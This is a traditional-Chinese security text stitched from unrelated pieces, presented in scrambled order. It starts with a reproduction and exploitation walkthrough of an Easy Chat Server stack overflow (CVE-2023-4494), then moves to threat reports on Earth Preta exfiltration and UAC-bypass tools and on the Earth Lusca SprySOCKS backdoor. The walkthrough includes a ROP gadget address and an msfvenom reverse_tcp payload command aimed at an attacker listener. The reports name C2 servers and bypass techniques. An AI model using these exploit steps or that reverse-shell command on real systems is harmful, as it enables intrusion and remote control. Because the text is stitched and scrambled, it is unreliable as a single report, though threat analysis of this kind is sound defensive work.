漏洞概述Easy Chat Server是一款基於Web的在線聊天服務器程序,運行系統為Windows,支持創建多個聊天室,多人在線聊天,該軟件曾出現過多個漏洞。近日,安全研究人員發現該軟件還存在基於棧溢出的漏洞,漏洞編號CVE-2023-4494。該漏洞源於使用HTTP GET對register.ghp文件進行訪問時,未檢查用戶提交的username值的長度是否超過限制,從而使棧緩衝區溢出,覆蓋其他內存空間,可導致任意代碼執行。

影響範圍

=3.1

復現環境

操作系統:Win7 sp1,Kali linux

分析工具:IDA,Windbg,OLLYDBG,Burp Suite

漏洞復現安裝3.1版本的Easy Chat Server程序,安裝完成後主程序路徑為C:\EFS Software\Easy Chat Server\EasyChat.exe。當前服務器IP為192.168.220.128,啟動主程序後,主界面如下圖所示:

QQ截图20231208092942.png

使用瀏覽器對主頁進行訪問,Web主界面如下圖所示:

QQ截图20231208093008.png

根據CVE官方公告,使用HTTP GET對register.ghp文件進行訪問時,username字段可導致漏洞產生。所以使用瀏覽器訪問http://192.168.220.128/register.ghp?username=test進行嘗試,Web響應界面如下圖所示:

QQ截图20231208093036.png

可以看出,register.ghp可能是用戶註冊頁面。同時反編譯EasyChat.exe程序,發現還需要傳遞Password等字段。反編譯如下圖所示:

QQ截图20231208093130.png

再次使用瀏覽器訪問http://192.168.220.128/register.ghp?username=testpassword=testpwd進行嘗試,同時使用Burp Suite進行抓包。根據抓取的數據包,對username字段進行fuzz,嘗試找到使主程序崩潰的username值。 Burp Suite設置如下圖所示:

QQ截图20231208093148.png

當username字段的值為485個A時,Easy Chat Server沒有響應HTTP 200,此時Easy Chat Server主程序已經崩潰,說明此時的username值可能導致了漏洞,如下圖所示:

QQ截图20231208093212.png

QQ截图20231208093218.png

漏洞分析根據以上復現情況,找到了使Easy Chat Server主程序崩潰的username值,但是還沒有確定是否是溢出而導致的崩潰。重啟Easy Chat Server主程序,使用Windbg附加調試,再用Burp Suite將上述復現時的數據包發送到Easy Chat Server主程序。 Windbg立即捕獲到異常,如下圖所示:

QQ截图20231208093244.png

從Windbg中的函數調用堆棧中可以看到,異常發生在HeapFree函數內部。該函數的功能是釋放堆內存空間,從代碼中可以看出,試圖讀取一個不存在的地址41414145的數據,導致了異常。另外,函數調用堆棧中出現大量非法的內存指針值和username中的A字符(十六進制41),似乎是函數返回地址被大量A覆蓋了。為了更直觀的調試,重啟Easy Chat Server主程序,使用OLLYDBG附加調試。在上述出現異常的HeapFree函數地址441AFD處下斷點,再用Burp Suite發送異常數據包。在異常發生前最後一次HeapFree處停下,觀察函數堆棧,如下圖所示:

QQ截图20231208093308.png

此時棧中出現大量HTTP GET發送的username字段值,繼續往下查看,發現堆棧中結構化異常處理(SEH)地址已被username字段的值覆蓋為41414141,說明發生了棧溢出,如下圖所示:

QQ截图20231208093326.png

由於堆棧地址並不是固定的,不方便下斷點。所以從異常發生的前一次HeapFree函數地址處單步調式,觀察堆棧SEH地址變化。經過多次調試,發現在地址4114FB處的sprintf函數調用,覆蓋了SEH和函數返回地址等值,如下圖所示:

QQ截图20231208093346.png

此時Buffer變量大小為256,小於HTTP GET時提交的username的大小485,導致棧溢出,從而導致後面調用HeapFree函數也異常,如下圖所示:

QQ截图20231208093407.png

調用sprintf函數前SEH和函數返回地址,如下圖所示:

QQ截图20231208093428.png

QQ截图20231208093435.png

漏洞利用從上述的分析中可以看出,調用sprintf函數拼接username字段前,沒有檢查username的長度是否超出限制,並且username字段可控,導致棧溢出,可以覆蓋SEH和函數返回地址,導致任意代碼執行。

對於此類漏洞的利用,一般來說可以將SEH函數地址或者函數返回地址覆蓋為棧中可控內容的地址,比如username字段對應的棧地址。但是由於棧地址不固定,需要藉助一些固定的代碼地址作為跳板,構建ROP(Return-oriented programming)鏈,跳轉到可控內容地址執行任意代碼。如果程序開啟了DEP(數據執行保護),還需要使用ROP鏈關閉DEP。

經查,該程序未開啟DEP,如下圖所示:

QQ截图20231208093516.png

ROP鏈使用SSLEAY32.DLL地址為1001AE86處的“pop ebp”,” pop ebx”和“retn”指令,將該地址覆蓋到SEH函數處,如下圖所示:

QQ截图20231208093536.png

利用該漏洞執行的代碼,筆者這裡使用msf的上線payload(載荷)。值得注意的是,payload中不能有00或空格等字符,以免發生截斷,導致利用失敗。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b '\x00\x20' -v shellcode生成python格式的payload,如下圖所示:

QQ截图20231208093555.png

整個漏洞利用結構示意圖,如下圖所示:

QQ截图20231208093615.png

使用python編寫利用腳本,如下圖所示:

QQ截图20231208093635.png

最後在kali中啟動msf,監聽對應的端口8888,運行漏洞利用腳本,msf成功上線,如下圖所示:

QQ截图20231208093653.png

POChttps://www.ddpoc.com/poc/DVB-2023-5622.html

WinRAR和curl根據研究人員的一些監控日誌,攻擊者濫用安裝的WinRAR二進製文件和上傳的curl可執行文件來竊取文件(下圖顯示了執行的命令)。注意,可執行文件log.log是一個合法的curl二進製文件。所有洩露的數據都被收集並發送回攻擊者控制的FTP(文件傳輸協議)服務器。

35.png

使用WinRAR和curl洩露數據

在某些示例中,研究人員偶然發現了FTP服務器的帳戶和密碼。在檢查FTP服務器後,研究人員了解到攻擊者主要專注於敏感和機密文件,其中大部分都經過壓縮並使用密碼保護。根據觀察,這些文件是通過對受害者的主機名和磁盤驅動器進行分類來組織的。

36.png

有被盜文件的FTP服務器

HackTool.Win32.NUPAKAGE除了眾所周知的合法工具外,攻擊者還製作了高度定制的用於洩露的工具。研究人員將這個惡意軟件命名為“NUPAKAGE”,該名稱源自其唯一的PDB字符串D:\Project\NEW_PACKAGE_FILE\Release \NEW_PACKAGE_FILE.PDB。

NUPAKAGE惡意軟件需要一個唯一的密碼才能執行,被竊取的數據被封裝在自定義文件格式中。攻擊者似乎在不斷更新該工具,以提供更大的靈活性並降低檢測的可能性,包括添加更多的命令行參數和混淆機制。默認情況下,它只收集文件,包括具有以下擴展名的文件:

doc

.docx

.xls

.xlsx

.ppt

.pptx

.pdf

它避免收集文件名以“$”或“~”開頭的文件,因為這些類型的文件通常要么是系統生成的臨時文件,要么是偽裝成誘餌文件的PE文件。

此工具的用法如下:

37.png

NUPAKAGE惡意軟件的參數

每一個NUPAKAGE惡意軟件都需要一個唯一的密碼作為它繼續執行的首個參數。如下圖所示,它首先檢查密碼是否存在。否則,惡意軟件執行過程將終止。在檢測過程中,研究人員觀察到每個惡意軟件中都有不同的密碼。

38.png

NUPAKAGE中的密碼檢查例程

39.png

NUPAKAGE中的密碼

執行後,NUPAKAGE將釋放xxx.zip和xxx.z兩個文件。 xxx.zip文件是一個日誌文件,其虛假zip標頭以0x0偏移量為前綴,佔用了前0x100個字節。從偏移量0x100開始,在XOR操作中使用單個字節對日誌記錄字符串進行加密,如下圖所示。

40.png

原始日誌文件(頂部),解密後的日誌文件(底部)中顯示純文本

以其中一個執行結果為例,保存了被洩露數據的大部分信息,包括原始文件路徑、原始文件大小和壓縮文件大小。研究人員認為攻擊者利用它來進一步追踪哪些文件被處理過。對於安全研究人員來說,這個日誌文件還有助於揭示有多少數據被洩露,並提供有關影響範圍的信息。

41.png

擴展名為.z的文件是一個自定義文件格式的洩露數據blob。 NUPAKAGE惡意軟件首先隨機生成一個密鑰blob,密鑰在自定義算法中加密。之後,它將加密的密鑰blob存儲到擴展名為.z的文件的前0x80字節中。從偏移量0x80開始,存在一個包含所有已過濾數據的長數組。

洩露文件中的大部分信息都會被保存,例如MD5哈希、文件名長度、壓縮文件大小、原始文件大小、文件名和文件內容。為了分離文件blob,它在每個blob的末尾放置一個唯一的字節序列,55 55 55 55 AA AA AA AA FF FF FF 99 99 99 99。

42.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式

43.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式描述

值得一提的是,在NUPAKAGE的最新版本中,越來越多的混淆被用來阻止靜態分析。

44.png

NUPAKAGE最新版本的垃圾代碼

HackTool.Win32.ZPAKAGEZPAKAGE是另一個用於封裝文件的自定義惡意軟件的示例;它的工作原理也與NUPAKAGE類似。它還需要一個密碼來確保它按預期使用。在下圖所示的示例中,密碼是“start”。

45.png

一個ZPAKAGE密碼的示例

ZPAKAGE也支持命令行參數,但它擁有的函數比NUPAKAGE少。該工具的使用方法如下:

46.png

ZPAKAGE支持的參數

ZPAKAGE也表現出與NUPAKAGE相似的行為。例如,它還避免使用名稱以“$”或“~”開頭的文件。此外,它還生成兩個文件,一個擴展名為.z,另一個擴展名稱為.zip。擴展名為.z的文件是已過濾的數據blob,擴展名為.zip的文件是日誌文件。

在生成的擴展名為.z的文件中,被洩露的文件將通過zlib算法進行壓縮,以最小化文件大小。它還定義了用於存儲的布爾字段“type”,無論文件是否被壓縮。如果壓縮後的文件大小小於原文件,則類型為1。否則,類型將被設置為0,並將選擇原始文件內容,而不是壓縮文件內容。無論文件內容是否被壓縮,它都將在異或操作中使用特定字符串qwerasdf對其進行加密。

47.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式

48.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式描述

檢測惡意攻擊自2022年10月以來,攻擊者已經更改了TTP,並開始使用受密碼保護的文件。例如,研究人員在VirusTotal上發現了一個TONEINS示例(SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a),該示例不能鏈接到“關係”選項卡中的任何其他文件。但是,研究人員發現在“行為”選項卡中打開了兩個文件,文件名分別為~$Evidence information.docx和~$List of terrorist personnel at the border.docx,下一階段的有效負載通常嵌入在虛假文件文件中。

49.png

打開的TONEINS示例文件

下圖顯示了在VirusTotal上查詢“邊境恐怖分子人員名單”的搜索結果。第一個文件是研究人員在本節前面提到的TONEINS DLL示例,而第二個文件是一個正常的可執行文件,最初名為adobe_licensing_wf_helper.exe,顯然是上傳到VirusTotal的,文件名為List of terrorist personnel at the border.exe。

50.png

在VirusTotal上搜索字符串邊境恐怖分子名單的結果

51.png

提交adobe_licensing_wf_helper.exe

第三個文件是受密碼保護的文件,它有完全相同的文件名List of terrorist personnel at the border[1].rar。但由於沒有密碼,研究人員無法解壓它。但它在“Relations”選項卡中有一個有趣的父項執行,這是一個名為Letter Head.docx的文件。

52.png

terrorist personnel at the border[1].rar的父項執行

在Letter Head.docx文件中,有一個谷歌驅動器鏈接和一個密碼。內容本身與緬甸聯邦共和國政府有關,並用緬甸語書寫。

53.png

Letter Head.docx

檢查下載鏈接後,研究人員發現它與之前在VirusTotal上發現的受密碼保護的文件相同。

54.png

谷歌驅動器鏈接截圖

新的攻擊載體流與之前介紹的類似,受害者將收到一個包含谷歌驅動器鏈接和相應密碼的誘餌文件,而不是嵌入在電子郵件中的文件下載鏈接,並與之交互。

至於為什麼密碼保護的文件有父項執行,通過在VirusTotal上檢查Letter Head.docx的沙箱執行行為,研究人員發現VirusTotal沙箱會選擇文件中嵌入的任何鏈接。這將導致打開帶有文件下載提示的Internet Explorer窗口。

55.png

VirusTotal上Letter Head.docx文件的沙盒截圖

當顯示下載提示時,甚至在用戶選擇“保存”按鈕之前,Internet Explorer將在後台靜默地下載該文件。

結果,該文件將被保存到名為“INetCache”的緩存文件夾中,之後會看到一個被釋放的RAR文件:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\R0IAZP7Z\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.

由於RAR文件是由Internet Explorer自動下載的,因此Letter Head.docx將被視為它的執行父文件。

56.png

在VirusTotal上被釋放的Letter Head.docx文件

為了找到嵌入谷歌驅動器鏈接的其他受密碼保護的文件,研究人員嘗試使用以下查詢:

57.png

該查詢可以查找任何加密的RAR文件,其文件足夠大,路徑中包含文件夾名稱“INetCache”。幸運的是,研究人員發現了另一個帶有文件執行父級文件“Notic(20221010)(final).docx”的RAR文件,它原來是一個TONESHELL文件。

58.png

歸檔文件的關係

59.png

文件Notic(20221010)(final).docx的內容

有趣的是,在迄今為止收集的所有示例中,攻擊者使用以相同格式(DD-MM-YYYY)編寫的日期和時間字符串作為提取密碼。

連接點在調查過程中,研究人員觀察到一些數據點與同一個人有關。例如,研究人員在收集的不同惡意軟件樣本中發現了一個特定的名稱“TaoZongjie”。此外,Avast在2022年12月的報告中提到的名為“YanNaingOo0072022”的GitHub存儲庫託管了多個惡意軟件,包括TONESHELL。研究人員還觀察到不同惡意軟件之間的混淆方法有相似之處。

用戶“TaoZongjie”分析研究人員發現一些樣本共享相同的特殊字符串/名稱“TaoZongjie”,包括Cobalt Strike惡意軟件,TONESHELL CC服務器上的Windows用戶,以及TONESHELL彈出對話框中顯示的消息。

調查始於啟用了遠程桌面服務的TONESHELL CC服務器38[.]54[.]33[.]228,研究人員發現其中一個Windows用戶叫“TaoZongjie”。

60.png

38[.]54[.]33[.]228中的Windows用戶

在尋找與此次活動相關的樣本時,研究人員看到了一條發佈於2021年4月的關於Cobalt Strike的推文。乍一看,Cobalt Strike的使用方式與此活動類似,包括使用DLL側加載,使用谷歌驅動器鏈接進行傳播,並創建日程任務。

61.png

關於Cobalt Strike的推特

感染流程如下:歸檔文件通過Google Drive鏈接傳播,其中包含一個合法的EXE文件、一個惡意的DLL文件和一個用緬甸語編寫的誘餌文件。一旦惡意DLL被側加載,它將釋放嵌入DLL文件的資源部分的合法EXE文件和惡意DLL文件。在這個示例中,字符串By:Taozongjie被用作事件名稱。

62.png

Cobalt Strike的攻擊流

63.png

示例中的特殊字符串

在一個TONEINS示例(SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707)中,研究人員還觀察到用於事件名稱的字符串taozongjie。

64.png

在TONEINS創建活動taozongjie

在另一個TONESHELL示例(SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a)中,有一些無關緊要的導出函數,它們將通過消息框出現,字符串為Tao或zhang!儘管這兩個字符串的拼寫方式與taozongjie不完全相同,但它們的拼寫仍然相似。

65.png

TONESHELL的消息框

根據研究人員在不同樣本中發現的情況,研究人員假設taozongjie可能是攻擊者使用的標誌之一。

GitHub用戶“YanNaingOo0072022”分析在Avast和ESET報告中都提到了GitHub用戶“YanNaingOo0072022”。用戶的存儲庫託管各種惡意軟件,包括最新版本的TONEINS、TONESHELL和一個名為MQsTTang的ESET新工具QMAGENT。在撰寫本文時,這個GitHub空間仍然可以訪問,有五個存儲庫:“View2015,” “View2016,” “1226,” “ee,” 和“14.” 。其中,“View2015” 和“View2016”是空的。

66.png

YanNaingOo0072022 GitHub空間

1226此存儲庫中的歸檔文件都相同,但具有不同的文件名。研究人員認為這些文件是針對不同的受害者的。

經過幾個月的調查,趨勢科技的研究人員發現Earth Preta正在使用一些從未被公開的惡意軟件和用於洩露目的的有趣工具。研究人員還觀察到攻擊者正在積極地改變研究人員的工具、戰術和程序(TTP)以繞過安全解決方案。在這篇文章中,研究人員還將介紹和分析攻擊者使用的其他工具和惡意軟件。

在之前的研究中,研究人員披露並分析了Earth Preta(又名Mustang Panda)組織發起的一項新型攻擊活動。在最近的一次活動中,研究人員通過監測發現Earth Preta通過魚叉式網絡釣魚郵件和谷歌驅動器鏈接發送誘餌文件。經過幾個月的調查,研究人員發現攻擊者在這次活動中使用了一些從未公開的惡意軟件和用於洩露目的的有趣工具。

感染鏈經調查,整個攻擊始於魚叉式網絡釣魚電子郵件。經過對攻擊程序的長期調查,研究人員確定了完整的感染鏈如下所示。

1.png

完整的感染鏈

研究人員將不同的TTP分為六個階段:攻擊載體、發現、權限升級、橫向移動、命令與控制(CC)和洩露。在之前的研究中,研究人員在第一階段(攻擊載體)涵蓋了大多數新的TTP和惡意軟件。但是,研究人員觀察到一些TTP已經發生了變化。在接下來的部分中,我們將重點關注更新後的攻擊載體及其後續階段。

攻擊載體之前Earth Preta使用的攻擊載體,研究人員將它們分為三種類型(DLL側加載、快捷鏈接和偽文件擴展名)。從2022年10月和11月開始,研究人員觀察到攻擊者開始改變研究人員的TTP,以部署TONEINS、TONESHELL和PUBLOAD惡意軟件和QMAGENT惡意軟件。研究人員認為,攻擊者正在使用這些新技術逃避。

Trojan.Win32.TONEINS根據研究人員之前的觀察,TONEINS和TONESHELL惡意軟件是從嵌入電子郵件正文的谷歌驅動器鏈接下載的。為了繞過電子郵件掃描服務和電子郵件網關解決方案,谷歌驅動器鏈接現在已經嵌入到誘餌文件中。該文件誘使用戶下載帶有嵌入式鏈接的受密碼保護的惡意文件。然後可以通過文件中提供的密碼在內部提取文件。通過使用此技術,攻擊背後的惡意攻擊者可以成功繞過掃描服務。

2.png

一份誘餌文件,其中嵌入了谷歌驅動器鏈接和密碼

在新的攻擊載體中,整個感染流程已更改為下圖所示的程序。

3.png

攻擊載體的感染流

4.png

新攻擊載體中的文件

在分析下載的文件後,研究人員發現這是一個惡意RAR文件,包含TONEINS惡意軟件libcef.dll和border.docx中的TONESHELL malware ~List of terrorist personnel 。它們的感染流程類似於之前報告中的攻擊載體類型C,唯一的區別是偽造的.docx文件具有XOR加密內容,以防止被檢測到。例如,~$Evidence information.docx是一個偽裝成Office Open XML文件的文件。因此,它似乎是無害的,甚至可以通過使用7-Zip等解壓軟件打開。

攻擊者在一個文件的ZIPFILERECORD結構中隱藏了一個PE文件。 TONEINS惡意軟件libcef.dll將在XOR操作中用一個字節解密該文件,找到PE頭,並將有效負載放置到指定的路徑。

5.png

在對最後一個ZIPFILECECORD結構中的frData成員進行解密後,將顯示PE文件

6.png

TONEINS的解密函數

感染流的後續行為通常與之前的分析相同,更多的細節我們之前已經介紹過。

Trojan.Win32.PUBLOAD在最近的案例中,惡意軟件PUBLOAD也是通過嵌入在誘餌文件中的谷歌驅動器鏈接傳播的。

7.png

美國大使館的誘餌邀請函

自2022年10月以來,研究人員一直在觀察PUBLOAD的一種新變體,該變體使用偽造的HTTP標頭來傳輸數據,LAC的報告也討論了這一點。與之前的PUBLOAD變體不同,它在數據包中預先準備了一個具有合法主機名的HTTP標頭。研究人員認為,攻擊者試圖在正常流量中隱藏惡意數據。 HTTP正文中的數據與過去的變體相同,後者俱有相同的魔法字節17 03 03和加密的受害者信息。研究人員能夠成功地從實時CC服務器中檢索到有效負載,這使得我們能夠繼續分析。

8.png

PUBLOAD HTTP變體的CC流量

一旦接收到有效負載,它將檢查前三個魔術字節是否為17 03 03,以及接下來的兩個字節是否為有效載荷的大小。然後,它將使用預定義的RC4密鑰78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 2000 00 00 00 00 00 00 00 00解密加密的有效負載,該密鑰與PUBLOAD加載程序中使用的密鑰相同。

9.png

從PUBLOAD HTTP變體檢索到的第一個有效負載

解密之後,它檢查解密有效負載的第一個字節是否為0x06。解密的有效負載包含用字節23 BE 84 E1 6C D6 AE 52 90進行XOR加密的另一個有效負載。

10.png

從PUBLOAD HTTP變體檢索到的第二個有效負載

解密後,還有另一個支持數據上傳和命令執行的最終後門負載。

11.png

PUBLOAD HTTP變體的最終有效負載

12.png

PUBLOAD HTTP變體中的命令代碼

此外,研究人員還在PUBLOAD示例中發現了一些有趣的調試字符串和事件名稱。

13.png

PUBLOAD中的事件名稱

14.png

PUBLOAD中的調試字符串

總之,研究人員認為新的TONESHELL和PUBLOAD文件一直在迭代,且有了一些共同之處。例如,為了繞過防病毒掃描,它們現在都被放置在誘餌文件中(如穀歌硬盤鏈接)。

攻擊過程一旦攻擊者獲得了對受害者環境的訪問權限,研究人員就可以通過以下命令開始檢查環境:

15.png

權限提昇在這次活動中,研究人員發現了Windows 10中用於UAC繞過的幾個工具。接下來我們將一一介紹。

HackTool.Win 32.ABPASSHackTool.Win32.ABPASS是一個用於繞過Windows 10中的UAC的工具。根據我們的分析,它重用了ucmShellRegModMethod3函數中的代碼,該函數來自一個著名的開源項目UACME。 Sophos的一份報告介紹了這一工具。

該工具接受一個參數,並將以下數據寫入註冊表:

16.png

ABPASS更改了註冊表項

它還改變了Windows處理ms-settings協議的方式,在本例中,字符串ms-settings是一個編程標識符(ProgID)。如果CurVer項設置在ProgID下,它將用於版本控制並將當前ProgID (ms-settings)映射到CurVer默認值中指定的ProgID。反過來,ms-settings的行為被重定向到自定義的ProgID aaabbb32。它還設置了一個新的ProgID aaabbb32及其shell打開命令。最後,執行fodhelper.exe或computerDefaults.exe來觸發ms-settings協議。

17.png

新增的ProgID aaabbb32

HackTool.Win 32.CCPASSHackTool.Win 32.CCPASS是另一個用於Windows 10 UAC繞過的工具,並類似地重用項目UACME中函數ucmMsStoreProtocolMethod中的代碼。

18.png

CCPASS和ucmMsStoreProtocolMethod中的代碼相似性

它的工作方式與ABPASS類似。然而,與ABPASS不同的是,它劫持了ms-windows存儲協議。黑客工具CCPASS的工作原理如下:

1.它禁用了協議ms-windows存儲的應用程序關聯toast。

2.它在註冊表中創建一個新的Shell;

3.它調用未記錄的API UserAssocSet來更新文件關聯;

4.它執行WSReset.exe來觸發此協議。

在Windows 10及以上版本中,系統會顯示一個新的toast對話框,用於為選定的文件類型選擇打開的應用程序。要隱藏此窗口,該工具會明顯地將新條目添加到HKCU\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToast,以禁用與協議ms-Windows存儲相關的所有Toast。

19.png

應用程序關聯toast的示例

20.png

通過註冊表隱藏應用程序關聯toast

完成此操作後,該工具開始更改ms-windows-store的shell命令,並最終使用WSReset.exe觸發它。

SilentCleanup在Windows 10中,有一個名為“SilentCleanup”的本地Windows服務。該服務具有最高權限,可以用於Windows 10 UAC繞過。通常,此服務用於運行%windir%\system32\cleanmgr.exe。但是,可以劫持環境變量%windir%並將其更改為任何路徑以實現權限升級。

21.png

濫用SilentCleanup服務的惡意命令

研究人員觀察到攻擊者使用這種技術來執行c:\users\public\1.exe。

橫向運動在這個階段,研究人員觀察到某些惡意軟件,如HIUPAN和ACNSHELL(最初由Mandiant和Sophos引入並分析),被用來自我安裝到可移動磁盤並創建反向shell。

USB蠕蟲: Worm.Win 32.HIUPAN and+ Backdoor.Win 32.ACNSHELL研究人員發現了一組由USB蠕蟲和反向shell組成的惡意軟件,包括USB蠕蟲和反向shell(被檢測為Worm.Win32.HIUPAN和Backdoor.Win32.ACNSHELL),用於在可移動驅動器上進行擴展。

感染鏈如下圖所示。

22.png

HIUPAN和ACNSHELL感染流

USB Driver.exe程序首先側加載u2ec.dll,然後加載有效負載文件USB .ini。它們分別具有以下PDB字符串:

G:\project\APT\U盤劫持\new\u2ec\Release\u2ec.pdb

G:\project\APT\U盤劫持\new\shellcode\Release\shellcode.pdb

其中“U盤”指的是可移動驅動器。

然後,USB Driver.exe開始檢查是否正確安裝。如果安裝了它,它將開始感染更多的可移動磁盤,並將文件複製到一個名為autorun.inf的文件夾中。如果沒有安裝,它會將自己安裝到%programdata%,然後將註冊表運行項設置為持久性。

最後,側加載ACNSHELL惡意軟件rzlog4cpp.dll。然後,它將通過ncat.exe創建一個反向shell,用於關閉[.]theworkpc[.]com的服務器。

指揮與控制(CC)階段Earth Preta在CC階段使用了多種工具和命令。例如,該組織使用certutil.exe從服務器103[.]159[.]132[.]91下載合法的WinRAR二進製文件rar1.exe。

23.png

certutil.exe程序下載WinRAR二進製文件

研究人員還觀察到攻擊者使用PowerShell從服務器103[.]159[.]132[.]下載多個惡意軟件和文件,以備將來使用。

24.png

PowerShell下載惡意軟件

在某些示例中,研究人員甚至利用安裝在受害主機上的WinRAR二進製文件來解壓所有惡意軟件。

25.png

使用已安裝的WinRAR二進製文件解壓惡意軟件

雖然研究人員發現了涉及多個被釋放惡意軟件的幾個日誌,但研究人員只設法找回了其中的幾個。在收集的所有示例中,我們將重點介紹其中幾個。

Backdoor.Win32.CLEXECCLEXEC後門文件名為“SensorAware.dll”。這是一個簡單的後門,能夠執行命令和清除事件日誌。

26.png

CLEXEC命令代碼

Backdoor.Win32.COOLCLIENTCOOLCLIENT的後門首次出現在Sophos的一份報告中,報告中提到的樣本是在2021編譯的。在該示例中,研究人員分析的COOLCLIENT示例的最近編譯時間是在2022年,雖然它提供了相同的功能,但噹噹前進程名具有“.pdf”或“.jpg”文件擴展名時,它新增了打開誘餌文件(work.pdf)的功能。它還包含減少調試字符串(更少OutputDebugStrings調用)的功能。與此同時,loader.ja在兩個進程下使用:一個是在googleupdate.exe下,用於第一次側加載。第二個是在winver.exe下,它被注入進行後門行為。此外,COOLCLIENT應用了將在我們將在後面討論的混淆技術。

27.png

打開誘餌文件

下圖顯示了COOLCLIENT的整個執行流程。

28.png

COOLCLIENT的執行流

COOLCLIENT的參數提供了以下功能:

install.有三種不同的條件來決定COOLCLIENT的安裝方法,詳細信息如下:

1.它通過創建一個名為InstallSvc的InstallSvc服務來自我安裝,該服務將觸發“googleupdate.exe work”。

2.它通過命令C:\ProgramData\GoogleUpdate\ GoogleUpdate .exe為持久活動設置了一個運行項。

work.惡意軟件將繼續讀取和解密goopdate.ja,並將其註入到winver.exe中以用於包含攻擊的下一階段負載(COOLCLIENT)。

passuac.惡意軟件將檢查進程avp.exe是否存在。如果avp.exe不存在,UAC繞過將通過CMSTPLUA COM接口執行。如果avp.exe存在,UAC繞過將通過AppInfo RPC服務執行。

29.png

通過CMSTPLUA COM接口繞過UAC

在跟踪分析Earth Lusca時,研究人員在攻擊者的服務器上發現了一個有趣的加密文件,即一個基於Linux的惡意程序,它似乎源於開源的Windows後門Trochilus,由於其快速的活動和SOCKS的實現,研究人員稱之為SprySOCKS。

早在2021年初,研究人員就發表了一篇研究論文,討論了一個與已有攻擊組織有關的運作,當時,研究人員追踪到該組織名為Earth Lusca。自研究人員進行初步研究以來,該組織一直保持活躍,甚至在2023年上半年還擴大了其攻擊範圍,目標是對世界各國都發起攻擊。

為此,研究人員還設法獲得了一個有趣的加密文件,該文件託管在攻擊者的傳播服務器上。研究人員在VirusTotal上找到了該文件的原始加載程序,並成功解密了它。有趣的是,解密後的有效負載是一個研究人員從未見過的以Linux為目標的後門。主執行例程及其字符串表明,它源於開源的Windows後門Trochilus,其中一些功能正在Linux系統中重新實現。研究人員將這個新的Linux變體命名為SprySOCKS,指的是Trochilus的快速行為和後門內的新套接字安全(SOCKS)實現。

對SprySOCKS後門的分析揭示了一些有趣的發現。後門包含一個引用後門版本號的標記。研究人員已經確定了兩個包含兩個不同版本號的SprySOCKS有效負載,這表明後門仍在開發中。此外,研究人員注意到交互式shell的實現可能受到了Derusbi惡意程序的Linux變體的啟發。

同時,SprySOCKS的命令和控制(CC)協議的結構與RedLeaves後門使用的協議類似,RedLeaves是一種遠程訪問木馬(RAT),針對Windows設備發起攻擊。它由兩個組件組成,加載程序和加密的主負載。加載程序負責讀取、解密和運行主負載。

與Windows版本類似,本文中分析的Linux變體也由這兩個組件組成。根據分析,RedLeaves也是基於Trochilus的公開源代碼構建的。

到目前為止,研究人員只觀察到了Earth Lusca使用的SprySOCKS。我們將在本文介紹更多關於Earth Lusca惡意程序的背景,以及對其組件和功能的全面分析。

最近的Earth Lusca活動Earth Lusca在2023年上半年仍然活躍,其攻擊主要集中在東南亞、中亞和巴爾幹半島的國家(對拉丁美洲和非洲國家的一些零星攻擊)。該組織的主要目標是涉及外交、技術和電信的政府部門。

Earth Lusca現在又將受害者面向公眾的服務器作為攻擊對象。此外,研究人員看到他們經常利用基於服務器的N天漏洞,包括(但不限於)以下漏洞:

CVE-2022-40684,Fortinet FortiOS、FortiProxy和FortiSwitchManager中存在身份驗證繞過漏洞;

CVE-2022-39952 ,Fortinet FortiNAC中存在未經驗證的遠程代碼執行(RCE)漏洞;

CVE-2021-22205 ,GitLab CE/EE中存在未經驗證的RCE漏洞;

CVE-2019-18935 ,ASP的Progress Telerik UI中存在未經驗證的遠程代碼執行漏洞.NET AJAX;

CVE-2019-9670/CVE-2019-9621 ,Zimbra協作套件中未經驗證的RCE的兩個漏洞;

ProxyShell(CVE-2021-34473、CVE-2021-3 4523v、CVE-202 1-31207),在Microsoft Exchange中執行未經身份驗證的RCE的一組三個漏洞。

Earth Lusca利用服務器漏洞滲透到受害者的網絡中,之後它將部署一個webshell並安裝Cobalt Strike進行橫向移動。該組織將洩露文件和電子郵件帳戶憑據,並進一步部署ShadowPad和Linux版本的Winnti等高級後門,對其目標進行長期間諜活動。

“mandibule”加載程序組件調查之初,研究人員觀察到一個名為libmonitor.so.2的文件託管在Earth Lusca的交付服務器上。在沒有先前上下文的情況下,這似乎是一個只包含隨機字節的二進製文件,這表明它很可能是一個加密的有效負載。研究人員使用唯一的文件名在VirusTotal上執行搜索,這使研究人員能夠識別相關的ELF文件(SHA256:65b27e84d9f22b41949e42e8c0b1e4b88c75211cbf94d5fd66edc4ebe21b7359),並將其命名為“mkmon”。 ELF文件可用於解密libmonitor.so.2文件並恢復其原始負載,從而證明“mkmon”是與libmonitor.so.2捆綁的加載程序。

加載程序並不是從零開始開發的,它的開發人員使用了一個公開的Linux ELF注入器,名為“mandible”(法語中下顎的意思)。最初的ELF注入器項目是一個命令行工具,能夠將有效負載進行自註入或註入另一個項目中。作為一個典型的命令行工具,它打印列出支持參數的用法文本。原始注入器還打印各種調試消息,以通知用戶有關注入的進度。

攻擊者使用mandibule項目作為其惡意程序加載程序的基礎。項目創建者刪除了使用屏幕和注入到其他進程的能力,然後添加了一個函數來加載和解密第二階段。研究人員認為這項工作做得很草率,因為開發人員沒有完全刪除調試消息,加載程序也沒有被利用,也就是說,它是用調試符號傳播的。事實上,攻擊者似乎只為使其能夠裝載有效負載而對原始注入器進行了最少的修改。

1.png

傳播調試信息的加載程序,請注意,存在“.debug*”部分

2.png

運行加載程序時顯示的調試消息

圖2中顯示的調試消息有兩個不同的標記。 “”標記來自原始mandibule項目,而“[+]”或“[-]”標記是由攻擊者添加到加載程序的調試消息。

